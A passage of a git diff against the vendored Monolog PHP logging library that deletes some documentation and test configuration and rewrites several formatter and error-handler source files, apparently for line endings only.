instance as a POSIX signal handler. -- _ErrorLevelActivationStrategy_: Activates a FingersCrossedHandler when a certain log - level is reached. -- _ChannelLevelActivationStrategy_: Activates a FingersCrossedHandler when a certain - log level is reached, depending on which channel received the log record. - -← [Handlers, Formatters and Processors](02-handlers-formatters-processors.md) | [Extending Monolog](04-extending.md) → diff --git a/vendor/monolog/monolog/doc/04-extending.md b/vendor/monolog/monolog/doc/04-extending.md deleted file mode 100644 index 3b720a882d..0000000000 --- a/vendor/monolog/monolog/doc/04-extending.md +++ /dev/null @@ -1,76 +0,0 @@ -# Extending Monolog - -Monolog is fully extensible, allowing you to adapt your logger to your needs. - -## Writing your own handler - -Monolog provides many built-in handlers. But if the one you need does not -exist, you can write it and use it in your logger. The only requirement is -to implement `Monolog\Handler\HandlerInterface`. - -Let's write a PDOHandler to log records to a database. We will extend the -abstract class provided by Monolog to keep things DRY. - -```php -pdo = $pdo; - parent::__construct($level, $bubble); - } - - protected function write(array $record) - { - if (!$this->initialized) { - $this->initialize(); - } - - $this->statement->execute(array( - 'channel' => $record['channel'], - 'level' => $record['level'], - 'message' => $record['formatted'], - 'time' => $record['datetime']->format('U'), - )); - } - - private function initialize() - { - $this->pdo->exec( - 'CREATE TABLE IF NOT EXISTS monolog ' - .'(channel VARCHAR(255), level INTEGER, message LONGTEXT, time INTEGER UNSIGNED)' - ); - $this->statement = $this->pdo->prepare( - 'INSERT INTO monolog (channel, level, message, time) VALUES (:channel, :level, :message, :time)' - ); - - $this->initialized = true; - } -} -``` - -You can now use this handler in your logger: - -```php -pushHandler(new PDOHandler(new PDO('sqlite:logs.sqlite'))); - -// You can now use your logger -$logger->addInfo('My logger is now ready'); -``` - -The `Monolog\Handler\AbstractProcessingHandler` class provides most of the -logic needed for the handler, including the use of processors and the formatting -of the record (which is why we use ``$record['formatted']`` instead of ``$record['message']``). - -← [Utility classes](03-utilities.md) diff --git a/vendor/monolog/monolog/doc/sockets.md b/vendor/monolog/monolog/doc/sockets.md deleted file mode 100644 index ceca280cca..0000000000 --- a/vendor/monolog/monolog/doc/sockets.md +++ /dev/null @@ -1,39 +0,0 @@ -Sockets Handler -=============== - -This handler allows you to write your logs to sockets using [fsockopen](http://php.net/fsockopen) -or [pfsockopen](http://php.net/pfsockopen). - -Persistent sockets are mainly useful in web environments where you gain some performance not closing/opening -the connections between requests. - -You can use a `unix://` prefix to access unix sockets and `udp://` to open UDP sockets instead of the default TCP. - -Basic Example -------------- - -```php -setPersistent(true); - -// Now add the handler -$logger->pushHandler($handler, Logger::DEBUG); - -// You can now use your logger -$logger->addInfo('My logger is now ready'); - -``` - -In this example, using syslog-ng, you should see the log on the log server: - - cweb1 [2012-02-26 00:12:03] my_logger.INFO: My logger is now ready [] [] - diff --git a/vendor/monolog/monolog/phpstan.neon.dist b/vendor/monolog/monolog/phpstan.neon.dist index 4b01a63b71..1fe45df730 100644 --- a/vendor/monolog/monolog/phpstan.neon.dist +++ b/vendor/monolog/monolog/phpstan.neon.dist @@ -1,16 +1,16 @@ -parameters: - level: 3 - - paths: - - src/ -# - tests/ - - - ignoreErrors: - - '#zend_monitor_|ZEND_MONITOR_#' - - '#RollbarNotifier#' - - '#Predis\\Client#' - - '#^Cannot call method ltrim\(\) on int\|false.$#' - - '#^Access to an undefined property Raven_Client::\$context.$#' - - '#MongoDB\\(Client|Collection)#' - - '#Gelf\\IMessagePublisher#' +parameters: + level: 3 + + paths: + - src/ +# - tests/ + + + ignoreErrors: + - '#zend_monitor_|ZEND_MONITOR_#' + - '#RollbarNotifier#' + - '#Predis\\Client#' + - '#^Cannot call method ltrim\(\) on int\|false.$#' + - '#^Access to an undefined property Raven_Client::\$context.$#' + - '#MongoDB\\(Client|Collection)#' + - '#Gelf\\IMessagePublisher#' diff --git a/vendor/monolog/monolog/phpunit.xml.dist b/vendor/monolog/monolog/phpunit.xml.dist deleted file mode 100644 index e6b6354778..0000000000 --- a/vendor/monolog/monolog/phpunit.xml.dist +++ /dev/null @@ -1,19 +0,0 @@ - - - - - - tests/Monolog/ - - - - - - src/Monolog/ - - - - - - - diff --git a/vendor/monolog/monolog/src/Monolog/ErrorHandler.php b/vendor/monolog/monolog/src/Monolog/ErrorHandler.php index 68c3321ec1..5121c2cd02 100644 --- a/vendor/monolog/monolog/src/Monolog/ErrorHandler.php +++ b/vendor/monolog/monolog/src/Monolog/ErrorHandler.php @@ -1,239 +1,239 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Psr\Log\LoggerInterface; -use Psr\Log\LogLevel; -use Monolog\Handler\AbstractHandler; - -/** - * Monolog error handler - * - * A facility to enable logging of runtime errors, exceptions and fatal errors. - * - * Quick setup: ErrorHandler::register($logger); - * - * @author Jordi Boggiano - */ -class ErrorHandler -{ - private $logger; - - private $previousExceptionHandler; - private $uncaughtExceptionLevel; - - private $previousErrorHandler; - private $errorLevelMap; - private $handleOnlyReportedErrors; - - private $hasFatalErrorHandler; - private $fatalLevel; - private $reservedMemory; - private $lastFatalTrace; - private static $fatalErrors = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR); - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; - } - - /** - * Registers a new ErrorHandler for a given Logger - * - * By default it will handle errors, exceptions and fatal errors - * - * @param LoggerInterface $logger - * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling - * @param int|false $exceptionLevel a LogLevel::* constant, or false to disable exception handling - * @param int|false $fatalLevel a LogLevel::* constant, or false to disable fatal error handling - * @return ErrorHandler - */ - public static function register(LoggerInterface $logger, $errorLevelMap = array(), $exceptionLevel = null, $fatalLevel = null) - { - //Forces the autoloader to run for LogLevel. Fixes an autoload issue at compile-time on PHP5.3. See https://github.com/Seldaek/monolog/pull/929 - class_exists('\\Psr\\Log\\LogLevel', true); - - /** @phpstan-ignore-next-line */ - $handler = new static($logger); - if ($errorLevelMap !== false) { - $handler->registerErrorHandler($errorLevelMap); - } - if ($exceptionLevel !== false) { - $handler->registerExceptionHandler($exceptionLevel); - } - if ($fatalLevel !== false) { - $handler->registerFatalHandler($fatalLevel); - } - - return $handler; - } - - public function registerExceptionHandler($level = null, $callPrevious = true) - { - $prev = set_exception_handler(array($this, 'handleException')); - $this->uncaughtExceptionLevel = $level; - if ($callPrevious && $prev) { - $this->previousExceptionHandler = $prev; - } - } - - public function registerErrorHandler(array $levelMap = array(), $callPrevious = true, $errorTypes = -1, $handleOnlyReportedErrors = true) - { - $prev = set_error_handler(array($this, 'handleError'), $errorTypes); - $this->errorLevelMap = array_replace($this->defaultErrorLevelMap(), $levelMap); - if ($callPrevious) { - $this->previousErrorHandler = $prev ?: true; - } - - $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; - } - - public function registerFatalHandler($level = null, $reservedMemorySize = 20) - { - register_shutdown_function(array($this, 'handleFatalError')); - - $this->reservedMemory = str_repeat(' ', 1024 * $reservedMemorySize); - $this->fatalLevel = $level; - $this->hasFatalErrorHandler = true; - } - - protected function defaultErrorLevelMap() - { - return array( - E_ERROR => LogLevel::CRITICAL, - E_WARNING => LogLevel::WARNING, - E_PARSE => LogLevel::ALERT, - E_NOTICE => LogLevel::NOTICE, - E_CORE_ERROR => LogLevel::CRITICAL, - E_CORE_WARNING => LogLevel::WARNING, - E_COMPILE_ERROR => LogLevel::ALERT, - E_COMPILE_WARNING => LogLevel::WARNING, - E_USER_ERROR => LogLevel::ERROR, - E_USER_WARNING => LogLevel::WARNING, - E_USER_NOTICE => LogLevel::NOTICE, - E_STRICT => LogLevel::NOTICE, - E_RECOVERABLE_ERROR => LogLevel::ERROR, - E_DEPRECATED => LogLevel::NOTICE, - E_USER_DEPRECATED => LogLevel::NOTICE, - ); - } - - /** - * @private - */ - public function handleException($e) - { - $this->logger->log( - $this->uncaughtExceptionLevel === null ? LogLevel::ERROR : $this->uncaughtExceptionLevel, - sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), - array('exception' => $e) - ); - - if ($this->previousExceptionHandler) { - call_user_func($this->previousExceptionHandler, $e); - } - - exit(255); - } - - /** - * @private - */ - public function handleError($code, $message, $file = '', $line = 0, $context = array()) - { - if ($this->handleOnlyReportedErrors && !(error_reporting() & $code)) { - return; - } - - // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries - if (!$this->hasFatalErrorHandler || !in_array($code, self::$fatalErrors, true)) { - $level = isset($this->errorLevelMap[$code]) ? $this->errorLevelMap[$code] : LogLevel::CRITICAL; - $this->logger->log($level, self::codeToString($code).': '.$message, array('code' => $code, 'message' => $message, 'file' => $file, 'line' => $line)); - } else { - // http://php.net/manual/en/function.debug-backtrace.php - // As of 5.3.6, DEBUG_BACKTRACE_IGNORE_ARGS option was added. - // Any version less than 5.3.6 must use the DEBUG_BACKTRACE_IGNORE_ARGS constant value '2'. - $trace = debug_backtrace((PHP_VERSION_ID < 50306) ? 2 : DEBUG_BACKTRACE_IGNORE_ARGS); - array_shift($trace); // Exclude handleError from trace - $this->lastFatalTrace = $trace; - } - - if ($this->previousErrorHandler === true) { - return false; - } elseif ($this->previousErrorHandler) { - return call_user_func($this->previousErrorHandler, $code, $message, $file, $line, $context); - } - } - - /** - * @private - */ - public function handleFatalError() - { - $this->reservedMemory = null; - - $lastError = error_get_last(); - if ($lastError && in_array($lastError['type'], self::$fatalErrors, true)) { - $this->logger->log( - $this->fatalLevel === null ? LogLevel::ALERT : $this->fatalLevel, - 'Fatal Error ('.self::codeToString($lastError['type']).'): '.$lastError['message'], - array('code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace) - ); - - if ($this->logger instanceof Logger) { - foreach ($this->logger->getHandlers() as $handler) { - if ($handler instanceof AbstractHandler) { - $handler->close(); - } - } - } - } - } - - private static function codeToString($code) - { - switch ($code) { - case E_ERROR: - return 'E_ERROR'; - case E_WARNING: - return 'E_WARNING'; - case E_PARSE: - return 'E_PARSE'; - case E_NOTICE: - return 'E_NOTICE'; - case E_CORE_ERROR: - return 'E_CORE_ERROR'; - case E_CORE_WARNING: - return 'E_CORE_WARNING'; - case E_COMPILE_ERROR: - return 'E_COMPILE_ERROR'; - case E_COMPILE_WARNING: - return 'E_COMPILE_WARNING'; - case E_USER_ERROR: - return 'E_USER_ERROR'; - case E_USER_WARNING: - return 'E_USER_WARNING'; - case E_USER_NOTICE: - return 'E_USER_NOTICE'; - case E_STRICT: - return 'E_STRICT'; - case E_RECOVERABLE_ERROR: - return 'E_RECOVERABLE_ERROR'; - case E_DEPRECATED: - return 'E_DEPRECATED'; - case E_USER_DEPRECATED: - return 'E_USER_DEPRECATED'; - } - - return 'Unknown PHP error'; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +use Psr\Log\LoggerInterface; +use Psr\Log\LogLevel; +use Monolog\Handler\AbstractHandler; + +/** + * Monolog error handler + * + * A facility to enable logging of runtime errors, exceptions and fatal errors. + * + * Quick setup: ErrorHandler::register($logger); + * + * @author Jordi Boggiano + */ +class ErrorHandler +{ + private $logger; + + private $previousExceptionHandler; + private $uncaughtExceptionLevel; + + private $previousErrorHandler; + private $errorLevelMap; + private $handleOnlyReportedErrors; + + private $hasFatalErrorHandler; + private $fatalLevel; + private $reservedMemory; + private $lastFatalTrace; + private static $fatalErrors = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR); + + public function __construct(LoggerInterface $logger) + { + $this->logger = $logger; + } + + /** + * Registers a new ErrorHandler for a given Logger + * + * By default it will handle errors, exceptions and fatal errors + * + * @param LoggerInterface $logger + * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling + * @param int|false $exceptionLevel a LogLevel::* constant, or false to disable exception handling + * @param int|false $fatalLevel a LogLevel::* constant, or false to disable fatal error handling + * @return ErrorHandler + */ + public static function register(LoggerInterface $logger, $errorLevelMap = array(), $exceptionLevel = null, $fatalLevel = null) + { + //Forces the autoloader to run for LogLevel. Fixes an autoload issue at compile-time on PHP5.3. See https://github.com/Seldaek/monolog/pull/929 + class_exists('\\Psr\\Log\\LogLevel', true); + + /** @phpstan-ignore-next-line */ + $handler = new static($logger); + if ($errorLevelMap !== false) { + $handler->registerErrorHandler($errorLevelMap); + } + if ($exceptionLevel !== false) { + $handler->registerExceptionHandler($exceptionLevel); + } + if ($fatalLevel !== false) { + $handler->registerFatalHandler($fatalLevel); + } + + return $handler; + } + + public function registerExceptionHandler($level = null, $callPrevious = true) + { + $prev = set_exception_handler(array($this, 'handleException')); + $this->uncaughtExceptionLevel = $level; + if ($callPrevious && $prev) { + $this->previousExceptionHandler = $prev; + } + } + + public function registerErrorHandler(array $levelMap = array(), $callPrevious = true, $errorTypes = -1, $handleOnlyReportedErrors = true) + { + $prev = set_error_handler(array($this, 'handleError'), $errorTypes); + $this->errorLevelMap = array_replace($this->defaultErrorLevelMap(), $levelMap); + if ($callPrevious) { + $this->previousErrorHandler = $prev ?: true; + } + + $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; + } + + public function registerFatalHandler($level = null, $reservedMemorySize = 20) + { + register_shutdown_function(array($this, 'handleFatalError')); + + $this->reservedMemory = str_repeat(' ', 1024 * $reservedMemorySize); + $this->fatalLevel = $level; + $this->hasFatalErrorHandler = true; + } + + protected function defaultErrorLevelMap() + { + return array( + E_ERROR => LogLevel::CRITICAL, + E_WARNING => LogLevel::WARNING, + E_PARSE => LogLevel::ALERT, + E_NOTICE => LogLevel::NOTICE, + E_CORE_ERROR => LogLevel::CRITICAL, + E_CORE_WARNING => LogLevel::WARNING, + E_COMPILE_ERROR => LogLevel::ALERT, + E_COMPILE_WARNING => LogLevel::WARNING, + E_USER_ERROR => LogLevel::ERROR, + E_USER_WARNING => LogLevel::WARNING, + E_USER_NOTICE => LogLevel::NOTICE, + E_STRICT => LogLevel::NOTICE, + E_RECOVERABLE_ERROR => LogLevel::ERROR, + E_DEPRECATED => LogLevel::NOTICE, + E_USER_DEPRECATED => LogLevel::NOTICE, + ); + } + + /** + * @private + */ + public function handleException($e) + { + $this->logger->log( + $this->uncaughtExceptionLevel === null ? LogLevel::ERROR : $this->uncaughtExceptionLevel, + sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), + array('exception' => $e) + ); + + if ($this->previousExceptionHandler) { + call_user_func($this->previousExceptionHandler, $e); + } + + exit(255); + } + + /** + * @private + */ + public function handleError($code, $message, $file = '', $line = 0, $context = array()) + { + if ($this->handleOnlyReportedErrors && !(error_reporting() & $code)) { + return; + } + + // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries + if (!$this->hasFatalErrorHandler || !in_array($code, self::$fatalErrors, true)) { + $level = isset($this->errorLevelMap[$code]) ? $this->errorLevelMap[$code] : LogLevel::CRITICAL; + $this->logger->log($level, self::codeToString($code).': '.$message, array('code' => $code, 'message' => $message, 'file' => $file, 'line' => $line)); + } else { + // http://php.net/manual/en/function.debug-backtrace.php + // As of 5.3.6, DEBUG_BACKTRACE_IGNORE_ARGS option was added. + // Any version less than 5.3.6 must use the DEBUG_BACKTRACE_IGNORE_ARGS constant value '2'. + $trace = debug_backtrace((PHP_VERSION_ID < 50306) ? 2 : DEBUG_BACKTRACE_IGNORE_ARGS); + array_shift($trace); // Exclude handleError from trace + $this->lastFatalTrace = $trace; + } + + if ($this->previousErrorHandler === true) { + return false; + } elseif ($this->previousErrorHandler) { + return call_user_func($this->previousErrorHandler, $code, $message, $file, $line, $context); + } + } + + /** + * @private + */ + public function handleFatalError() + { + $this->reservedMemory = null; + + $lastError = error_get_last(); + if ($lastError && in_array($lastError['type'], self::$fatalErrors, true)) { + $this->logger->log( + $this->fatalLevel === null ? LogLevel::ALERT : $this->fatalLevel, + 'Fatal Error ('.self::codeToString($lastError['type']).'): '.$lastError['message'], + array('code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace) + ); + + if ($this->logger instanceof Logger) { + foreach ($this->logger->getHandlers() as $handler) { + if ($handler instanceof AbstractHandler) { + $handler->close(); + } + } + } + } + } + + private static function codeToString($code) + { + switch ($code) { + case E_ERROR: + return 'E_ERROR'; + case E_WARNING: + return 'E_WARNING'; + case E_PARSE: + return 'E_PARSE'; + case E_NOTICE: + return 'E_NOTICE'; + case E_CORE_ERROR: + return 'E_CORE_ERROR'; + case E_CORE_WARNING: + return 'E_CORE_WARNING'; + case E_COMPILE_ERROR: + return 'E_COMPILE_ERROR'; + case E_COMPILE_WARNING: + return 'E_COMPILE_WARNING'; + case E_USER_ERROR: + return 'E_USER_ERROR'; + case E_USER_WARNING: + return 'E_USER_WARNING'; + case E_USER_NOTICE: + return 'E_USER_NOTICE'; + case E_STRICT: + return 'E_STRICT'; + case E_RECOVERABLE_ERROR: + return 'E_RECOVERABLE_ERROR'; + case E_DEPRECATED: + return 'E_DEPRECATED'; + case E_USER_DEPRECATED: + return 'E_USER_DEPRECATED'; + } + + return 'Unknown PHP error'; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php index feef1903bb..9beda1e763 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php @@ -1,78 +1,78 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -/** - * Formats a log message according to the ChromePHP array format - * - * @author Christophe Coevoet - */ -class ChromePHPFormatter implements FormatterInterface -{ - /** - * Translates Monolog log levels to Wildfire levels. - */ - private $logLevels = array( - Logger::DEBUG => 'log', - Logger::INFO => 'info', - Logger::NOTICE => 'info', - Logger::WARNING => 'warn', - Logger::ERROR => 'error', - Logger::CRITICAL => 'error', - Logger::ALERT => 'error', - Logger::EMERGENCY => 'error', - ); - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - // Retrieve the line and file if set and remove them from the formatted extra - $backtrace = 'unknown'; - if (isset($record['extra']['file'], $record['extra']['line'])) { - $backtrace = $record['extra']['file'].' : '.$record['extra']['line']; - unset($record['extra']['file'], $record['extra']['line']); - } - - $message = array('message' => $record['message']); - if ($record['context']) { - $message['context'] = $record['context']; - } - if ($record['extra']) { - $message['extra'] = $record['extra']; - } - if (count($message) === 1) { - $message = reset($message); - } - - return array( - $record['channel'], - $message, - $backtrace, - $this->logLevels[$record['level']], - ); - } - - public function formatBatch(array $records) - { - $formatted = array(); - - foreach ($records as $record) { - $formatted[] = $this->format($record); - } - - return $formatted; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Logger; + +/** + * Formats a log message according to the ChromePHP array format + * + * @author Christophe Coevoet + */ +class ChromePHPFormatter implements FormatterInterface +{ + /** + * Translates Monolog log levels to Wildfire levels. + */ + private $logLevels = array( + Logger::DEBUG => 'log', + Logger::INFO => 'info', + Logger::NOTICE => 'info', + Logger::WARNING => 'warn', + Logger::ERROR => 'error', + Logger::CRITICAL => 'error', + Logger::ALERT => 'error', + Logger::EMERGENCY => 'error', + ); + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + // Retrieve the line and file if set and remove them from the formatted extra + $backtrace = 'unknown'; + if (isset($record['extra']['file'], $record['extra']['line'])) { + $backtrace = $record['extra']['file'].' : '.$record['extra']['line']; + unset($record['extra']['file'], $record['extra']['line']); + } + + $message = array('message' => $record['message']); + if ($record['context']) { + $message['context'] = $record['context']; + } + if ($record['extra']) { + $message['extra'] = $record['extra']; + } + if (count($message) === 1) { + $message = reset($message); + } + + return array( + $record['channel'], + $message, + $backtrace, + $this->logLevels[$record['level']], + ); + } + + public function formatBatch(array $records) + { + $formatted = array(); + + foreach ($records as $record) { + $formatted[] = $this->format($record); + } + + return $formatted; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php index 732c434787..4c556cf178 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php @@ -1,89 +1,89 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Elastica\Document; - -/** - * Format a log message into an Elastica Document - * - * @author Jelle Vink - */ -class ElasticaFormatter extends NormalizerFormatter -{ - /** - * @var string Elastic search index name - */ - protected $index; - - /** - * @var string Elastic search document type - */ - protected $type; - - /** - * @param string $index Elastic Search index name - * @param string $type Elastic Search document type - */ - public function __construct($index, $type) - { - // elasticsearch requires a ISO 8601 format date with optional millisecond precision. - parent::__construct('Y-m-d\TH:i:s.uP'); - - $this->index = $index; - $this->type = $type; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - $record = parent::format($record); - - return $this->getDocument($record); - } - - /** - * Getter index - * @return string - */ - public function getIndex() - { - return $this->index; - } - - /** - * Getter type - * @return string - */ - public function getType() - { - return $this->type; - } - - /** - * Convert a log message into an Elastica Document - * - * @param array $record Log message - * @return Document - */ - protected function getDocument($record) - { - $document = new Document(); - $document->setData($record); - $document->setType($this->type); - $document->setIndex($this->index); - - return $document; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Elastica\Document; + +/** + * Format a log message into an Elastica Document + * + * @author Jelle Vink + */ +class ElasticaFormatter extends NormalizerFormatter +{ + /** + * @var string Elastic search index name + */ + protected $index; + + /** + * @var string Elastic search document type + */ + protected $type; + + /** + * @param string $index Elastic Search index name + * @param string $type Elastic Search document type + */ + public function __construct($index, $type) + { + // elasticsearch requires a ISO 8601 format date with optional millisecond precision. + parent::__construct('Y-m-d\TH:i:s.uP'); + + $this->index = $index; + $this->type = $type; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + $record = parent::format($record); + + return $this->getDocument($record); + } + + /** + * Getter index + * @return string + */ + public function getIndex() + { + return $this->index; + } + + /** + * Getter type + * @return string + */ + public function getType() + { + return $this->type; + } + + /** + * Convert a log message into an Elastica Document + * + * @param array $record Log message + * @return Document + */ + protected function getDocument($record) + { + $document = new Document(); + $document->setData($record); + $document->setType($this->type); + $document->setIndex($this->index); + + return $document; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php index 79ef79ee90..5094af3c77 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php @@ -1,116 +1,116 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * formats the record to be used in the FlowdockHandler - * - * @author Dominik Liebler - */ -class FlowdockFormatter implements FormatterInterface -{ - /** - * @var string - */ - private $source; - - /** - * @var string - */ - private $sourceEmail; - - /** - * @param string $source - * @param string $sourceEmail - */ - public function __construct($source, $sourceEmail) - { - $this->source = $source; - $this->sourceEmail = $sourceEmail; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - $tags = array( - '#logs', - '#' . strtolower($record['level_name']), - '#' . $record['channel'], - ); - - foreach ($record['extra'] as $value) { - $tags[] = '#' . $value; - } - - $subject = sprintf( - 'in %s: %s - %s', - $this->source, - $record['level_name'], - $this->getShortMessage($record['message']) - ); - - $record['flowdock'] = array( - 'source' => $this->source, - 'from_address' => $this->sourceEmail, - 'subject' => $subject, - 'content' => $record['message'], - 'tags' => $tags, - 'project' => $this->source, - ); - - return $record; - } - - /** - * {@inheritdoc} - */ - public function formatBatch(array $records) - { - $formatted = array(); - - foreach ($records as $record) { - $formatted[] = $this->format($record); - } - - return $formatted; - } - - /** - * @param string $message - * - * @return string - */ - public function getShortMessage($message) - { - static $hasMbString; - - if (null === $hasMbString) { - $hasMbString = function_exists('mb_strlen'); - } - - $maxLength = 45; - - if ($hasMbString) { - if (mb_strlen($message, 'UTF-8') > $maxLength) { - $message = mb_substr($message, 0, $maxLength - 4, 'UTF-8') . ' ...'; - } - } else { - if (strlen($message) > $maxLength) { - $message = substr($message, 0, $maxLength - 4) . ' ...'; - } - } - - return $message; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +/** + * formats the record to be used in the FlowdockHandler + * + * @author Dominik Liebler + */ +class FlowdockFormatter implements FormatterInterface +{ + /** + * @var string + */ + private $source; + + /** + * @var string + */ + private $sourceEmail; + + /** + * @param string $source + * @param string $sourceEmail + */ + public function __construct($source, $sourceEmail) + { + $this->source = $source; + $this->sourceEmail = $sourceEmail; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + $tags = array( + '#logs', + '#' . strtolower($record['level_name']), + '#' . $record['channel'], + ); + + foreach ($record['extra'] as $value) { + $tags[] = '#' . $value; + } + + $subject = sprintf( + 'in %s: %s - %s', + $this->source, + $record['level_name'], + $this->getShortMessage($record['message']) + ); + + $record['flowdock'] = array( + 'source' => $this->source, + 'from_address' => $this->sourceEmail, + 'subject' => $subject, + 'content' => $record['message'], + 'tags' => $tags, + 'project' => $this->source, + ); + + return $record; + } + + /** + * {@inheritdoc} + */ + public function formatBatch(array $records) + { + $formatted = array(); + + foreach ($records as $record) { + $formatted[] = $this->format($record); + } + + return $formatted; + } + + /** + * @param string $message + * + * @return string + */ + public function getShortMessage($message) + { + static $hasMbString; + + if (null === $hasMbString) { + $hasMbString = function_exists('mb_strlen'); + } + + $maxLength = 45; + + if ($hasMbString) { + if (mb_strlen($message, 'UTF-8') > $maxLength) { + $message = mb_substr($message, 0, $maxLength - 4, 'UTF-8') . ' ...'; + } + } else { + if (strlen($message) > $maxLength) { + $message = substr($message, 0, $maxLength - 4) . ' ...'; + } + } + + return $message; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php index cd5787861e..f8ead47569 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php @@ -1,88 +1,88 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Utils; - -/** - * Class FluentdFormatter - * - * Serializes a log message to Fluentd unix socket protocol - * - * Fluentd config: - * - * - * type unix - * path /var/run/td-agent/td-agent.sock - * - * - * Monolog setup: - * - * $logger = new Monolog\Logger('fluent.tag'); - * $fluentHandler = new Monolog\Handler\SocketHandler('unix:///var/run/td-agent/td-agent.sock'); - * $fluentHandler->setFormatter(new Monolog\Formatter\FluentdFormatter()); - * $logger->pushHandler($fluentHandler); - * - * @author Andrius Putna - */ -class FluentdFormatter implements FormatterInterface -{ - /** - * @var bool $levelTag should message level be a part of the fluentd tag - */ - protected $levelTag = false; - - public function __construct($levelTag = false) - { - if (!function_exists('json_encode')) { - throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s FluentdUnixFormatter'); - } - - $this->levelTag = (bool) $levelTag; - } - - public function isUsingLevelsInTag() - { - return $this->levelTag; - } - - public function format(array $record) - { - $tag = $record['channel']; - if ($this->levelTag) { - $tag .= '.' . strtolower($record['level_name']); - } - - $message = array( - 'message' => $record['message'], - 'context' => $record['context'], - 'extra' => $record['extra'], - ); - - if (!$this->levelTag) { - $message['level'] = $record['level']; - $message['level_name'] = $record['level_name']; - } - - return Utils::jsonEncode(array($tag, $record['datetime']->getTimestamp(), $message)); - } - - public function formatBatch(array $records) - { - $message = ''; - foreach ($records as $record) { - $message .= $this->format($record); - } - - return $message; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Utils; + +/** + * Class FluentdFormatter + * + * Serializes a log message to Fluentd unix socket protocol + * + * Fluentd config: + * + * + * type unix + * path /var/run/td-agent/td-agent.sock + * + * + * Monolog setup: + * + * $logger = new Monolog\Logger('fluent.tag'); + * $fluentHandler = new Monolog\Handler\SocketHandler('unix:///var/run/td-agent/td-agent.sock'); + * $fluentHandler->setFormatter(new Monolog\Formatter\FluentdFormatter()); + * $logger->pushHandler($fluentHandler); + * + * @author Andrius Putna + */ +class FluentdFormatter implements FormatterInterface +{ + /** + * @var bool $levelTag should message level be a part of the fluentd tag + */ + protected $levelTag = false; + + public function __construct($levelTag = false) + { + if (!function_exists('json_encode')) { + throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s FluentdUnixFormatter'); + } + + $this->levelTag = (bool) $levelTag; + } + + public function isUsingLevelsInTag() + { + return $this->levelTag; + } + + public function format(array $record) + { + $tag = $record['channel']; + if ($this->levelTag) { + $tag .= '.' . strtolower($record['level_name']); + } + + $message = array( + 'message' => $record['message'], + 'context' => $record['context'], + 'extra' => $record['extra'], + ); + + if (!$this->levelTag) { + $message['level'] = $record['level']; + $message['level_name'] = $record['level_name']; + } + + return Utils::jsonEncode(array($tag, $record['datetime']->getTimestamp(), $message)); + } + + public function formatBatch(array $records) + { + $message = ''; + foreach ($records as $record) { + $message .= $this->format($record); + } + + return $message; + } +} diff --git 